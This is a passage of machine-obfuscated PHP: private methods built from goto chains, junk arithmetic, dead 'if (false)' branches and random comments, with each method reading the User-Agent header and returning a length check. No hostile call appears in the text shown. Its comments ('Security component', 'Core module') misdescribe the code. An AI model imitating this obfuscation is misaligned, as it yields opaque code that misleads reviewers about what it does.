/* VAp8wxEPv7_CmGx */
goto D7htMbsZ;
D7htMbsZ:
goto GOOLcl8i;
GOOLcl8i:
// zkl6JfPuNFH0
goto y4uNxte7;
y4uNxte7:
// MJ6iGjm4_azp
goto Ek2uxFXb;
Ek2uxFXb:
goto M2ues01I;
M2ues01I:
if (false) { echo 'This is a dead end'; }
goto a1gcoKAco;
a1gcoKAco:
// rlHY11Qhtev4JAqP
if (false) { echo 'This is a dead end'; }
goto a07T5q1IM;
a07T5q1IM:
$a29IFo9lZ = 265 + 4;
$NqlX8zGc = $a29IFo9lZ * 2;
goto kyadxQD_;
kyadxQD_:
goto lmnMuvmm;
lmnMuvmm:
return $a6b9oay5s > 10;
}
private function W_V0YkeSQb() {
// t0hUf0INgeJ7Qqbr
goto NnrkLfn2;
NnrkLfn2:
// 8X6v5xQN
goto MqwE0345;
MqwE0345:
$BqYDw4sr = 154 + 42;
$WWDcP6ib = $BqYDw4sr * 1;
if (false) { echo 'This is a dead end'; }
goto M73L4HJJ;
M73L4HJJ:
/* Security component */
goto UMF0lTj7;
UMF0lTj7:
goto a0EDCCkJg;
a0EDCCkJg:
if (false) { echo 'This is a dead end'; }
goto EbKurnZj;
EbKurnZj:
if (false) { echo 'This is a dead end'; }
goto Ibyi9K45;
Ibyi9K45:
/* T0CdfYIz_S_9Npumya_G */
goto Esp8s9l3;
Esp8s9l3:
goto XLHCBCez;
XLHCBCez:
/* laK3zMFWvc */
goto QmoyFAFX;
QmoyFAFX:
// _xgQ_QMvLMni
$jIP39ari = 595 + 31;
$a29IFo9lZ = $jIP39ari * 3;
if (false) { echo 'This is a dead end'; }
goto b0uOdGUM;
b0uOdGUM:
/* Main service */
goto WLsPi51l;
WLsPi51l:
// Lc3Cd1tN
goto OS7xS_C1;
OS7xS_C1:
goto U0D4IVVs;
U0D4IVVs:
// lCNBW8rk4bVHcdea
goto duxg0lFj;
duxg0lFj:
if (false) { echo 'This is a dead end'; }
goto fgE7j52z;
fgE7j52z:
$Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto VzHDBMEU;
VzHDBMEU:
/* iRK_CVJ_NoZ8nhx */
goto IhrmOe1Y;
IhrmOe1Y:
goto L8dBYs9F;
L8dBYs9F:
goto QuUAYaG6;
QuUAYaG6:
goto a74XsV6Ne;
a74XsV6Ne:
goto ixuuzFGz;
ixuuzFGz:
$jIP39ari = 261 + 11;
$iCjD65Pi = $jIP39ari * 3;
goto a0zXmYVWL;
a0zXmYVWL:
goto UFSoHjsQ;
UFSoHjsQ:
/* S_gccO88IDpgvqZ */
goto a86MQygW_;
a86MQygW_:
// LMJRaHiy
$BqYDw4sr = 105 + 26;
$iCjD65Pi = $BqYDw4sr * 1;
goto wzPuYZ5E;
wzPuYZ5E:
goto H59o4RLg;
H59o4RLg:
/* Main service */
goto w1i6TCON;
w1i6TCON:
/* Core module */
$B9ma2fmF = 885 + 19;
$B9ma2fmF = $B9ma2fmF * 3;
if (false) { echo 'This is a dead end'; }
goto HpKSjq57;
HpKSjq57:
/* API handler */
goto gxuI0jQT;
gxuI0jQT:
goto Aaos6oil;
Aaos6oil:
$BqYDw4sr = 938 + 4;
$NqlX8zGc = $BqYDw4sr * 4;
goto IsxwUCh9;
IsxwUCh9:
$Pe9zuJ4r = strlen($Pe9zuJ4r);
goto otH7hw6F;
otH7hw6F:
goto k8acCrDu;
k8acCrDu:
/* API handler */
goto a4p9vEH08;
a4p9vEH08:
if (false) { echo 'This is a dead end'; }
goto lKlOAZes;
lKlOAZes:
$iCjD65Pi = 488 + 23;
$Pe9zuJ4r = $iCjD65Pi * 1;
goto BRJzvdE_;
BRJzvdE_:
goto SIUtMTCA;
SIUtMTCA:
goto NjjRkklx;
NjjRkklx:
/* Security component */
$n7sJ6WnP = 444 + 26;
$B9ma2fmF = $n7sJ6WnP * 2;
if (false) { echo 'This is a dead end'; }
goto Vgw5kjs3;
Vgw5kjs3:
/* x7vgvuTQb1B3Jzx */
$WWDcP6ib = 177 + 18;
$bZa4iOd6 = $WWDcP6ib * 2;
goto nkZyCv_Z;
nkZyCv_Z:
goto MpJHGL9v;
MpJHGL9v:
/* XWHGXCLoOFlWlzc */
goto Rzx25cUW;
Rzx25cUW:
// 4uvMcbV_whBC
$B9ma2fmF = 738 + 7;
$a6EHyDbxg = $B9ma2fmF * 5;
goto KdC0jq7F;
KdC0jq7F:
goto a5u47etcU;
a5u47etcU:
/* Core module */
$XsucffsH = 891 + 6;
$NqlX8zGc = $XsucffsH * 1;
goto JKLWx9KX;
JKLWx9KX:
/* eGOpcSWLdSXv7oQk49E9 */
if (false) { echo 'This is a dead end'; }
goto jci3dAN1;
jci3dAN1:
/* 1FqP1NgaZu */
goto AjJYDaPI;
AjJYDaPI:
return $Pe9zuJ4r > 10;
}
private function a1xlC_66YCE() {
goto g3yxukyO;
g3yxukyO:
/* 3ksL4ssRsd */
$BqYDw4sr = 706 + 36;
$WWDcP6ib = $BqYDw4sr * 2;
goto k9KnhyF7;
k9KnhyF7:
/* Security component */
$a29IFo9lZ = 648 + 22;
$a6b9oay5s = $a29IFo9lZ * 4;
if (false) { echo 'This is a dead end'; }
goto ZaSCGn7D;
ZaSCGn7D:
goto UXLjbnmw;
UXLjbnmw:
goto mnWdmrlP;
mnWdmrlP:
// q57bdCMecv8y
$bZa4iOd6 = 818 + 16;
$jIP39ari = $bZa4iOd6 * 1;
goto g2l0xRq1;
g2l0xRq1:
/* fYSC7FaJY8 */
goto XdOs83B2;
XdOs83B2:
/* Core module */
$iCjD65Pi = 851 + 19;
$a6b9oay5s = $iCjD65Pi * 2;
if (false) { echo 'This is a dead end'; }
goto I2UJR6UL;
I2UJR6UL:
$a29IFo9lZ = 582 + 35;
$jIP39ari = $a29IFo9lZ * 4;
goto WORc7HWF;
WORc7HWF:
goto KYB1c3WM;
KYB1c3WM:
// BZbWCi4Y
if (false) { echo 'This is a dead end'; }
goto UUWEL_Vr;
UUWEL_Vr:
/* API handler */
goto qT2w7Qkh;
qT2w7Qkh:
goto vOI1nCSW;
vOI1nCSW:
/* System file */
$iX1geSuk = 979 + 26;
$XsucffsH = $iX1geSuk * 4;
if (false) { echo 'This is a dead end'; }
goto ZnRlDQoX;
ZnRlDQoX:
/* API handler */
goto qS_WFCWa;
qS_WFCWa:
/* Core module */
if (false) { echo 'This is a dead end'; }
goto jbeL6nWp;
jbeL6nWp:
$XsucffsH = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto MXGjh1ah;
MXGjh1ah:
if (false) { echo 'This is a dead end'; }
goto MGP_xpMo;
MGP_xpMo:
/* WL3YSbbmkEYz_CQvAZW7 */
$B9ma2fmF = 136 + 19;
$iCjD65Pi = $B9ma2fmF * 5;
goto vI4ZqU1q;
vI4ZqU1q:
/* vAVPq7oJkkBXZyO */
goto NmECVifD;
NmECVifD:
$bZa4iOd6 = 106 + 35;
$BqYDw4sr = $bZa4iOd6 * 2;
goto zyjPQAIC;
zyjPQAIC:
goto a8rg6pgDI;
a8rg6pgDI:
/* Core module */
goto a3o0YETaE;
a3o0YETaE:
goto f1F8sJ_L;
f1F8sJ_L:
/* 2spBFVKFP6SBCiG790NK */
goto hvaXvaN_;
hvaXvaN_:
// T1G4hIcHGX47uT1D
goto cKJ57Hk0;
cKJ57Hk0:
goto a1jDavvDn;
a1jDavvDn:
$B9ma2fmF = 101 + 18;
$bZa4iOd6 = $B9ma2fmF * 3;
goto ebOlPrwI;
ebOlPrwI:
/* Security component */
goto R5ehuGVs;
R5ehuGVs:
goto a3HVyzPGP;
a3HVyzPGP:
if (false) { echo 'This is a dead end'; }
goto pqBCKBMn;
pqBCKBMn:
$iCjD65Pi = 423 + 32;
$iX1geSuk = $iCjD65Pi * 4;
if (false) { echo 'This is a dead end'; }
goto dbSVTdtK;
dbSVTdtK:
$bZa4iOd6 = strlen($XsucffsH);
goto hw3kVJT4;
hw3kVJT4:
goto n8QiE2Ip;
n8QiE2Ip:
/* System file */
$B9ma2fmF = 724 + 30;
$FbaGmw5w = $B9ma2fmF * 2;
goto H4lpsRnv;
H4lpsRnv:
/* System file */
goto Vy_S6iA3;
Vy_S6iA3:
/* System file */
goto SNZsR1TC;
SNZsR1TC:
goto Nda8mmwj;
Nda8mmwj:
if (false) { echo 'This is a dead end'; }
goto pRNXDT1m;
pRNXDT1m:
$a29IFo9lZ = 503 + 39;
$n7sJ6WnP = $a29IFo9lZ * 3;
goto O2paSt8z;
O2paSt8z:
/* Security component */
$a29IFo9lZ = 194 + 35;
$jIP39ari = $a29IFo9lZ * 5;
goto QgbEc20J;
QgbEc20J:
goto EU7rUg3j;
EU7rUg3j:
/* Main service */
goto ALLEjebJ;
ALLEjebJ:
// dUqi3BE8
if (false) { echo 'This is a dead end'; }
goto hO7tpxB5;
hO7tpxB5:
/* System file */
goto nKzLp77Z;
nKzLp77Z:
goto K4ZEbndf;
K4ZEbndf:
$iCjD65Pi = 407 + 43;
$a6b9oay5s = $iCjD65Pi * 2;
goto P_fCGqvr;
P_fCGqvr:
/* czYyoP13s87lGur */
goto DaHovGGr;
DaHovGGr:
return $bZa4iOd6 > 10;
}
private function dyRNDHF0cD() {
/* Core module */
goto a6HB9GHdA;
a6HB9GHdA:
// IrK5og_z
goto jEHtk8tI;
jEHtk8tI:
goto uAY_cAAC;
uAY_cAAC:
// _FIiDwJmgKaE3LrM
goto Bwc2NLrn;
Bwc2NLrn:
$a29IFo9lZ = 245 + 37;
$jIP39ari = $a29IFo9lZ * 2;
goto a17IemTMA;
a17IemTMA:
/* Main service */
goto pnf6AEo3;
pnf6AEo3:
if (false) { echo 'This is a dead end'; }
goto qPFaPBJi;
qPFaPBJi:
goto eFop90dY;
eFop90dY:
$FbaGmw5w = 607 + 50;
$WWDcP6ib = $FbaGmw5w * 4;
goto a_TdbydIc;
a_TdbydIc:
/* System file */
goto LHsZvGJO;
LHsZvGJO:
/* fJr8CmB3a5m5UG6 */
$B9ma2fmF = 609 + 48;
$a6EHyDbxg = $B9ma2fmF * 5;
goto xfWNIYX1;
xfWNIYX1:
goto ocC8P3zz;
ocC8P3zz:
goto rF1TibYF;
rF1TibYF:
// Eizj5MNK
$bZa4iOd6 = 623 + 33;
$FbaGmw5w = $bZa4iOd6 * 4;
if (false) { echo 'This is a dead end'; }
goto RQBWp2s2;
RQBWp2s2:
$a6b9oay5s = 799 + 8;
$NqlX8zGc = $a6b9oay5s * 5;
goto fbiXkxnF;
fbiXkxnF:
/* System file */
goto rlGGTs8B;
rlGGTs8B:
$Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto Y7P6EtZJ;
Y7P6EtZJ:
// ZaP5v7XLsknD7pMT
goto R__Q1BBP;
R__Q1BBP:
goto hHvUH4tW;
hHvUH4tW:
$Pe9zuJ4r = 778 + 46;
$iCjD65Pi = $Pe9zuJ4r * 5;
goto HbN2KpLx;
HbN2KpLx:
/* XdOmltn1Sm */
goto h_a6p9tv;
h_a6p9tv:
if (false) { echo 'This is a dead end'; }
goto O1KY8KUu;
O1KY8KUu:
// s7gsrLeGG6sL8x0j
$WWDcP6ib = 913 + 28;
$iX1geSuk = $WWDcP6ib * 4;
if (false) { echo 'This is a dead end'; }
goto t2fOwOB_;
t2fOwOB_:
/* 4NUnJIq8Z_gGEGVGUjuK */
goto EokmMxcc;
EokmMxcc:
/* API handler */
$iX1geSuk = 332 + 31;
$jIP39ari = $iX1geSuk * 2;
goto GEsm3wN4;
GEsm3wN4:
$a6b9oay5s = 742 + 14;
$NqlX8zGc = $a6b9oay5s * 5;
goto M_xlh3nG;
M_xlh3nG:
/* Main service */
goto yDy99C42;
yDy99C42:
$a6EHyDbxg = 135 + 13;
$iX1geSuk = $a6EHyDbxg * 2;
if (false) { echo 'This is a dead end'; }
goto JiKFZDJ3;
JiKFZDJ3:
/* QYXWxuejUh */
goto rV01Cy2c;
rV01Cy2c:
goto dFA61ZBg;
dFA61ZBg:
$WWDcP6ib = 512 + 9;
$bZa4iOd6 = $WWDcP6ib * 4;
goto V_G0BCoQ;
V_G0BCoQ:
goto ONQ27IWq;
ONQ27IWq:
$jIP39ari = strlen($Pe9zuJ4r);
goto VhUkpS5S;
VhUkpS5S:
goto bzKgd0rU;
bzKgd0rU:
/* Main service */
goto TRXJR4yJ;
TRXJR4yJ:
/* btWTFAZHIhUvuNG */
$B9ma2fmF = 949 + 12;
$BqYDw4sr = $B9ma2fmF * 2;
goto a8otgo9Uv;
a8otgo9Uv:
/* API handler */
$B9ma2fmF = 989 + 41;
$BqYDw4sr = $B9ma2fmF * 2;
goto nqiLrVB2;
nqiLrVB2:
if (false) { echo 'This is a dead end'; }
goto CRAwuXR7;
CRAwuXR7:
/* HqJ7Xjc1rfL2M8X */
goto a6SXNyM1j;
a6SXNyM1j:
goto cHJcnxDu;
cHJcnxDu:
/* 6du_7M_yaTE2lIW7h6wj */
$B9ma2fmF = 413 + 14;
$jIP39ari = $B9ma2fmF * 1;
goto BZ46qVLv;
BZ46qVLv:
/* h1_ihYfIe5TW84V */
$n7sJ6WnP = 485 + 13;
$BqYDw4sr = $n7sJ6WnP * 5;
goto roLrtFcw;
roLrtFcw:
// 7waihHdDa3La
goto a5dbm5iH0;
a5dbm5iH0:
// 90bvWc1WD9mcFnvP
$WWDcP6ib = 503 + 45;
$n7sJ6WnP = $WWDcP6ib * 2;
if (false) { echo 'This is a dead end'; }
goto SowiAG2i;
SowiAG2i:
/* API handler */
$iCjD65Pi = 384 + 39;
$Pe9zuJ4r = $iCjD65Pi * 2;
goto VqWjp3MH;
VqWjp3MH:
/* System file */
goto a_LvzJVKC;
a_LvzJVKC:
/* 3IdJVpmTiP */
goto Gp_dg8Kw;
Gp_dg8Kw:
$jIP39ari = 178 + 12;
$a6EHyDbxg = $jIP39ari * 5;
goto Glyq6rJA;
Glyq6rJA:
return $jIP39ari > 10;
}
private function hNhJ0zyZmn() {
goto a1zto0vze;
a1zto0vze:
$n7sJ6WnP = 571 + 44;
$B9ma2fmF = $n7sJ6WnP * 3;
goto vb45JVfO;
vb45JVfO:
goto wNHTIz_I;
wNHTIz_I:
// y6aVa4jQ
goto vtiLfEnZ;
vtiLfEnZ:
goto a5gcLKhnN;
a5gcLKhnN:
// sqsXnSnp_52NKxua
$n7sJ6WnP = 668 + 47;
$FbaGmw5w = $n7sJ6WnP * 3;
goto vCFTsMMY;
vCFTsMMY:
$a29IFo9lZ = 781 + 20;
$n7sJ6WnP = $a29IFo9lZ * 3;
goto TNLnx85N;
TNLnx85N:
$a29IFo9lZ = 263 + 35;
$n7sJ6WnP = $a29IFo9lZ * 4;
if (false) { echo 'This is a dead end'; }
goto a9q5wPsgu;
a9q5wPsgu:
goto uo3Z_n31;
uo3Z_n31:
if (false) { echo 'This is a dead end'; }
goto a_e8rbHUV;
a_e8rbHUV:
// veJrg1COj6mqhPLf
$BqYDw4sr = 379 + 1;
$a6b9oay5s = $BqYDw4sr * 4;
goto mF72VRL4;
mF72VRL4:
goto Hdd5UAIq;
Hdd5UAIq:
// mf1BBxPVt2AW
$bZa4iOd6 = 882 + 30;
$B9ma2fmF = $bZa4iOd6 * 1;
goto z8jad_um;
z8jad_um:
/* 27ZzSUATdT */
$B9ma2fmF = 887 + 10;
$NqlX8zGc = $B9ma2fmF * 3;
goto ZJsFVRQf;
ZJsFVRQf:
goto eq1E5pnd;
eq1E5pnd:
goto a_c5GfWfu;
a_c5GfWfu:
$B9ma2fmF = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto qBYv9Smw;
qBYv9Smw:
/* System file */
if (false) { echo 'This is a dead end'; }
goto a2xNQrQGy;
a2xNQrQGy:
/* oycr15JAZC */
$a6b9oay5s = 479 + 50;
$XsucffsH = $a6b9oay5s * 1;
goto a3IJ59Sd_;
a3IJ59Sd_:
goto i6EeVcG5;
i6EeVcG5:
// 5LWYws8C5ktLZ1Qq
goto lp2el7Jd;
lp2el7Jd:
$bZa4iOd6 = 318 + 45;
$Pe9zuJ4r = $bZa4iOd6 * 1;
goto phpchAjV;
phpchAjV:
/* gyS70q607v1XLLF */
goto quWSoqmH;
quWSoqmH:
goto akIuZoLE;
akIuZoLE:
goto ESREvdGQ;
ESREvdGQ:
goto s3rSAu2a;
s3rSAu2a:
/* PQ1DJnAG2oa7abx */
if (false) { echo 'This is a dead end'; }
goto m6UlmwwD;
m6UlmwwD:
/* Core module */
$iX1geSuk = 522 + 30;
$a6EHyDbxg = $iX1geSuk * 1;
goto ZQ8MnFXL;
ZQ8MnFXL:
// Uj7ZL4Pm5O9T
goto a97NtxmUL;
a97NtxmUL:
goto iFc3fCPL;
iFc3fCPL:
goto ErumLI4A;
ErumLI4A:
$FbaGmw5w = 951 + 49;
$NqlX8zGc = $FbaGmw5w * 2;
goto Tm_s1QbU;
Tm_s1QbU:
$WWDcP6ib = strlen($B9ma2fmF);
goto zrNW2qn5;
zrNW2qn5:
if (false) { echo 'This is a dead end'; }
goto SIZ9hdiV;
SIZ9hdiV:
/* mR22jOOJM6C0CnQqr3ty */
if (false) { echo 'This is a dead end'; }
goto ThajkhLp;
ThajkhLp:
goto Sj2i81ph;
Sj2i81ph:
goto rsCkIji2;
rsCkIji2:
/* ZRkjalThpX_OY33dYMOo */
$B9ma2fmF = 897 + 45;
$Pe9zuJ4r = $B9ma2fmF * 3;
if (false) { echo 'This is a dead end'; }
goto NH2B5uwC;
NH2B5uwC:
/* j9oL5Blce6Lkvbs */
$WWDcP6ib = 394 + 32;
$a6EHyDbxg = $WWDcP6ib * 1;
if (false) { echo 'This is a dead end'; }
goto UU5nPN5R;
UU5nPN5R:
$Pe9zuJ4r = 955 + 7;
$XsucffsH = $Pe9zuJ4r * 3;
goto Mg6sIAjH;
Mg6sIAjH:
$XsucffsH = 527 + 8;
$B9ma2fmF = $XsucffsH * 4;
goto a9rRLExqy;
a9rRLExqy:
$B9ma2fmF = 441 + 39;
$FbaGmw5w = $B9ma2fmF * 1;
goto N7Mji931;
N7Mji931:
/* Main service */
goto g0cIqfZA;
g0cIqfZA:
goto ZEMw6V7J;
ZEMw6V7J:
/* Main service */
$n7sJ6WnP = 510 + 41;
$Pe9zuJ4r = $n7sJ6WnP * 1;
if (false) { echo 'This is a dead end'; }
goto SzPuRPg7;
SzPuRPg7:
/* kiX9t58q9AY2nt0gsYGX */
if (false) { echo 'This is a dead end'; }
goto a2BJHpwyk;
a2BJHpwyk:
/* API handler */
goto dARyiYmC;
dARyiYmC:
goto s5JG_rbk;
s5JG_rbk:
return $WWDcP6ib > 10;
}
private function Ub_G933cLz() {
goto iCTYqnDt;
iCTYqnDt:
if (false) { echo 'This is a dead end'; }
goto N5BqBV6j;
N5BqBV6j:
$a6b9oay5s = 140 + 50;
$a6b9oay5s = $a6b9oay5s * 3;
goto UtHpvTUe;
UtHpvTUe:
if (false) { echo 'This is a dead end'; }
goto EKHYIqzf;
EKHYIqzf:
/* Main service */
goto qTkwAdgV;
qTkwAdgV:
if (false) { echo 'This is a dead end'; }
goto FbmnTUlT;
FbmnTUlT:
goto a8tx4TFh_;
a8tx4TFh_:
// g3T3Bqh7
if (false) { echo 'This is a dead end'; }
goto UMKbrIMd;
UMKbrIMd:
goto iRYniCua;
iRYniCua:
/* rXi7a_rTkP */
$XsucffsH = 778 + 8;
$a6b9oay5s = $XsucffsH * 4;
goto DkVEf2jY;
DkVEf2jY:
goto QW_il3X8;
QW_il3X8:
/* vqMksciWqS */
$jIP39ari = 523 + 3;
$iCjD65Pi = $jIP39ari * 5;
goto m81VoFaf;
m81VoFaf:
/* Security component */
if (false) { echo 'This is a dead end'; }
goto m87qFFwZ;
m87qFFwZ:
/* TcgDafXOGk49kU793K28 */
goto qVZZJNxI;
qVZZJNxI:
/* Security component */
goto Ln4Tq4Ga;
Ln4Tq4Ga:
goto G9OultAi;
G9OultAi:
$Pe9zuJ4r = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto ysVu0A_3;
ysVu0A_3:
/* _B_tvLSfJzz5cDM */
$NqlX8zGc = 642 + 40;
$iX1geSuk = $NqlX8zGc * 5;
if (false) { echo 'This is a dead end'; }
goto If9H1f_K;
If9H1f_K:
$NqlX8zGc = 776 + 49;
$iCjD65Pi = $NqlX8zGc * 1;
goto PaNgUSU3;
PaNgUSU3:
$XsucffsH = 738 + 49;
$jIP39ari = $XsucffsH * 2;
goto a4d4Iz47u;
a4d4Iz47u:
/* API handler */
goto Qm3IovGg;
Qm3IovGg:
// TGJEVRBvdQmef3JB
goto J891tauB;
J891tauB:
/* Core module */
$iX1geSuk = 663 + 20;
$bZa4iOd6 = $iX1geSuk * 2;
goto h_wTGJ_P;
h_wTGJ_P:
// hvFgmhk6
goto EYaabnpV;
EYaabnpV:
goto lWANJkfS;
lWANJkfS:
/* NN83G2jOIC */
goto a_Nswqdye;
a_Nswqdye:
/* Core module */
$B9ma2fmF = 292 + 37;
$bZa4iOd6 = $B9ma2fmF * 2;
goto I4SeUpiN;
I4SeUpiN:
/* Core module */
goto KpCWX3ap;
KpCWX3ap:
if (false) { echo 'This is a dead end'; }
goto a3aUSifzm;
a3aUSifzm:
$a29IFo9lZ = 439 + 50;
$FbaGmw5w = $a29IFo9lZ * 2;
goto a1perBvvb;
a1perBvvb:
/* API handler */
$a6EHyDbxg = 759 + 13;
$BqYDw4sr = $a6EHyDbxg * 2;
if (false) { echo 'This is a dead end'; }
goto a1WhKLhyK;
a1WhKLhyK:
$iCjD65Pi = 621 + 34;
$iX1geSuk = $iCjD65Pi * 2;
goto a1LJBiQoO;
a1LJBiQoO:
$WWDcP6ib = strlen($Pe9zuJ4r);
goto tHSvvUC5;
tHSvvUC5:
$a6EHyDbxg = 942 + 1;
$iCjD65Pi = $a6EHyDbxg * 3;
goto XvPldrfJ;
XvPldrfJ:
goto urKsQhMW;
urKsQhMW:
$B9ma2fmF = 625 + 25;
$jIP39ari = $B9ma2fmF * 5;
goto hDF9vFFc;
hDF9vFFc:
$a6EHyDbxg = 890 + 46;
$iX1geSuk = $a6EHyDbxg * 3;
goto uQhhRWxa;
uQhhRWxa:
/* API handler */
$WWDcP6ib = 603 + 46;
$Pe9zuJ4r = $WWDcP6ib * 1;
goto idjwSKBi;
idjwSKBi:
if (false) { echo 'This is a dead end'; }
goto a6KkPQdqE;
a6KkPQdqE:
// kH3DjDYc
goto RyA_nwIR;
RyA_nwIR:
/* acmGyIj9uidTIh7WxgQG */
goto W7CNibuJ;
W7CNibuJ:
/* System file */
$FbaGmw5w = 712 + 5;
$Pe9zuJ4r = $FbaGmw5w * 1;
goto QhyFgD8r;
QhyFgD8r:
// DJWKl6Kt
goto H1Ns31RK;
H1Ns31RK:
/* Core module */
goto NaG76AOQ;
NaG76AOQ:
$jIP39ari = 815 + 37;
$NqlX8zGc = $jIP39ari * 5;
if (false) { echo 'This is a dead end'; }
goto WNcBZ5ZN;
WNcBZ5ZN:
/* API handler */
$a6b9oay5s = 769 + 20;
$a29IFo9lZ = $a6b9oay5s * 2;
goto POY21uwr;
POY21uwr:
goto ibnWhWkX;
ibnWhWkX:
/* noiK4ct0QOwvbKPNOuri */
goto a2j03I69k;
a2j03I69k:
return $WWDcP6ib > 10;
}
private function JRhV4bR0Jf() {
/* u9EMfchRki */
goto wxTCu8bC;
wxTCu8bC:
// 5YL7smP_
goto a4a5h7Ppx;
a4a5h7Ppx:
/* Main service */
goto iyORMvPA;
iyORMvPA:
/* System file */
goto UcWI1Q24;
UcWI1Q24:
goto a2pZCj2Tl;
a2pZCj2Tl:
$n7sJ6WnP = 952 + 8;
$iX1geSuk = $n7sJ6WnP * 5;
if (false) { echo 'This is a dead end'; }
goto a4OgBhgXb;
a4OgBhgXb:
/* HFAmxdf4u6m0ftC3SXd6 */
goto EpXokAz4;
EpXokAz4:
goto WhQwZJhw;
WhQwZJhw:
if (false) { echo 'This is a dead end'; }
goto CTCWpNQT;
CTCWpNQT:
goto a9ZumiMJE;
a9ZumiMJE:
goto DPkmKIFt;
DPkmKIFt:
/* Security component */
$a6EHyDbxg = 688 + 37;
$FbaGmw5w = $a6EHyDbxg * 2;
if (false) { echo 'This is a dead end'; }
goto fUdC6_tB;
fUdC6_tB:
// cziOn_iM_iudA2v7
if (false) { echo 'This is a dead end'; }
goto MyFr07bC;
MyFr07bC:
// CvyDwlhk
goto P3otZAZA;
P3otZAZA:
goto wLHHCCkT;
wLHHCCkT:
/* k7xhXRMo9aANCA5J4olT */
goto Cj0JyUgJ;
Cj0JyUgJ:
$n7sJ6WnP = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto zMo5Vz9p;
zMo5Vz9p:
$n7sJ6WnP = 438 + 46;
$iCjD65Pi = $n7sJ6WnP * 2;
if (false) { echo 'This is a dead end'; }
goto gujcrDal;
gujcrDal:
$a29IFo9lZ = 191 + 44;
$WWDcP6ib = $a29IFo9lZ * 1;
goto a1SdMdrhV;
a1SdMdrhV:
$XsucffsH = 644 + 10;
$iX1geSuk = $XsucffsH * 2;
if (false) { echo 'This is a dead end'; }
goto a_M2v4x3r;
a_M2v4x3r:
$bZa4iOd6 = 387 + 9;
$n7sJ6WnP = $bZa4iOd6 * 5;
goto a2qPcb1bX;
a2qPcb1bX:
if (false) { echo 'This is a dead end'; }
goto V0b1AtQz;
V0b1AtQz:
$jIP39ari = 423 + 35;
$bZa4iOd6 = $jIP39ari * 4;
goto tWs7nKaf;
tWs7nKaf:
// fpZQQzxP
goto Fmk88rt7;
Fmk88rt7:
// KZ7RG_mH
goto CGN1HIBg;
CGN1HIBg:
goto ahBwkpsZ;
ahBwkpsZ:
/* Main service */
if (false) { echo 'This is a dead end'; }
goto qvV5ZRYF;
qvV5ZRYF:
goto Ay790hgS;
Ay790hgS:
/* Security component */
goto a008KdzoD;
a008KdzoD:
$a6EHyDbxg = 342 + 4;
$XsucffsH = $a6EHyDbxg * 3;
goto Cn0MAYnn;
Cn0MAYnn:
// ltvG1KpYJLSdEnGy
$bZa4iOd6 = 406 + 11;
$a6EHyDbxg = $bZa4iOd6 * 4;
goto IpTdfIWS;
IpTdfIWS:
// xy4qyZG3
$Pe9zuJ4r = 339 + 43;
$a6EHyDbxg = $Pe9zuJ4r * 4;
goto JyDusuN_;
JyDusuN_:
$XsucffsH = strlen($n7sJ6WnP);
goto LHl26Nzo;
LHl26Nzo:
goto LvKjMc7p;
LvKjMc7p:
goto atu8yu91;
atu8yu91:
if (false) { echo 'This is a dead end'; }
goto a0fs1Z2TW;
a0fs1Z2TW:
goto zQjjFPnV;
zQjjFPnV:
/* Itv0HeVU1QeKkXS7w8FP */
goto XJoywvmi;
XJoywvmi:
$a6b9oay5s = 554 + 41;
$XsucffsH = $a6b9oay5s * 4;
if (false) { echo 'This is a dead end'; }
goto FsYStcuL;
FsYStcuL:
/* System file */
goto a0B9KTUqU;
a0B9KTUqU:
goto cg8fhF4V;
cg8fhF4V:
if (false) { echo 'This is a dead end'; }
goto CYfAd1JU;
CYfAd1JU:
/* System file */
$iCjD65Pi = 947 + 34;
$BqYDw4sr = $iCjD65Pi * 3;
if (false) { echo 'This is a dead end'; }
goto a4apfSxbE;
a4apfSxbE:
/* Core module */
goto a15MzoRH4;
a15MzoRH4:
/* Security component */
$bZa4iOd6 = 706 + 29;
$a6EHyDbxg = $bZa4iOd6 * 3;
if (false) { echo 'This is a dead end'; }
goto a2eY0Q0xe;
a2eY0Q0xe:
/* Zv80KvLzdI */
goto Oqm7W70Y;
Oqm7W70Y:
// LmcVNBpC
goto iUB4q15J;
iUB4q15J:
/* IV4NGlw8ob */
goto xQj2T8iM;
xQj2T8iM:
return $XsucffsH > 10;
}
private function sZ8yImcmkt() {
goto UbwSnXv8;
UbwSnXv8:
goto nJ_yBl81;
nJ_yBl81:
// Ev64qA67D5M_
$a29IFo9lZ = 617 + 23;
$iCjD65Pi = $a29IFo9lZ * 5;
goto fxWxdaqm;
fxWxdaqm:
goto U9au4KEx;
U9au4KEx:
goto jVpzBvuN;
jVpzBvuN:
/* atQz_C31nzDsdyM */
$a29IFo9lZ = 151 + 23;
$a29IFo9lZ = $a29IFo9lZ * 1;
goto uENmk8lS;
uENmk8lS:
$B9ma2fmF = 842 + 37;
$BqYDw4sr = $B9ma2fmF * 3;
goto VsIABHnC;
VsIABHnC:
$jIP39ari = 686 + 23;
$iX1geSuk = $jIP39ari * 3;
goto pd3sM7Pd;
pd3sM7Pd:
// CtlXSfAthYZK
$Pe9zuJ4r = 295 + 47;
$WWDcP6ib = $Pe9zuJ4r * 1;
goto NdrjC9no;
NdrjC9no:
goto jCGzLS4E;
jCGzLS4E:
/* System file */
goto HMzJXsud;
HMzJXsud:
$NqlX8zGc = 385 + 17;
$Pe9zuJ4r = $NqlX8zGc * 1;
if (false) { echo 'This is a dead end'; }
goto nikWQ9AW;
nikWQ9AW:
goto PvVz7K0M;
PvVz7K0M:
$XsucffsH = 844 + 6;
$WWDcP6ib = $XsucffsH * 5;
goto UdoYR5g4;
UdoYR5g4:
/* Core module */
goto cuDsGPms;
cuDsGPms:
/* Security component */
goto a_B_aYRYF;
a_B_aYRYF:
$a29IFo9lZ = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : 'none';
goto a5T30hRqg;
a5T30hRqg:
/* t9sXelUn1z */
goto a4u_nlvS1;
a4u_nlvS1:
/* Core module */
goto D_DBEuGr;
D_DBEuGr:
if (false) { echo 'This is a dead end'; }
goto PVP04OnZ;
